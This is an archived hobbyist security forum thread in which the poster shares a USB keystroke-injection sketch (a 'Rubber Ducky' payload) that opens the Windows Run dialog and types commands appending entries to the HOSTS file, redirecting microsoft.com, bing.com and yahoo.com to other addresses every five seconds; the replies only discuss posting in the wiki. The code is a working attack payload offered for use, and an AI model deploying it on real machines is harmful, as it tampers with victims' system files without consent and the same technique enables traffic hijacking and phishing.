Jump to content

Archived

This topic is now archived and is closed to further replies.

metalx1000

[Version 1] Reroute With Host File In Windows

Recommended Posts

I've only tested this on WindowsXP running in a VirtualBox in Linux

If other could test it and let me know how it runs on there systems it would be helpful.

/*
Rubber Ducky HOSTs
Created By Kris Occhipinti (A.K.A. Metalx1000)
April 27th 2010

Released under the GPLv3
http://www.gnu.org/licenses/gpl.html

Description:
This code will modify your windows HOSTS file to redirct web browsing
By default it re-routes 
      microsoft.com to linux.com
      bing.com to Google.com
      yahoo.com to Google.com
It loops every 5 second incase the code was missed the first time.

For more info Please Visit:
http://FilmsByKris.com
http://www.hak5.org/

*/
void setup() { } // no setup needed
void loop() {
  //clears any modifier keys
  Keyboard.set_modifier(0);
  Keyboard.send_now();


  run_cmd();
  //routes microsoft.com to linux.com 
  Keyboard.println("cmd /c echo 140.211.167.55    microsoft.com >> c:\\WINDOWS\\system32\\drivers\\etc\\hosts");
  
  run_cmd();
  //routes bing.com to Google.com 
  Keyboard.println("cmd /c echo 74.125.65.147    bing.com >> c:\\WINDOWS\\system32\\drivers\\etc\\hosts");
  
  run_cmd();
  //routes yahoo.com to Google.com 
  Keyboard.println("cmd /c echo 74.125.65.147    yahoo.com >> c:\\WINDOWS\\system32\\drivers\\etc\\hosts");
  delay(100);
  
  
  Keyboard.send_now();
  delay(20);
  
  
  Keyboard.set_key1(0);
  Keyboard.send_now();

  delay(5000);
}

void run_cmd(){
  Keyboard.set_modifier(MODIFIERKEY_GUI);
  Keyboard.set_key1(KEY_R);
  Keyboard.send_now();
  delay(20);
  
  // release all the keys at the same instant
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(500); 
}

Share this post


Link to post
Share on other sites

You've already posted these in the wiki, you don't need to then go and fill up the forum with them.

Share this post


Link to post
Share on other sites
You've already posted these in the wiki, you don't need to then go and fill up the forum with them.

Thanks for the heads up, I didn't realize they got posted there.

When I first got my kit I didn't think to come the forum so I just emailed the code to Darren.

He must have posted them there for me.

Share this post


Link to post
Share on other sites

Ok, well they are, so just post everything in the wiki from now on and only post questions etc. in the forum :)

Share this post


Link to post
Share on other sites

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...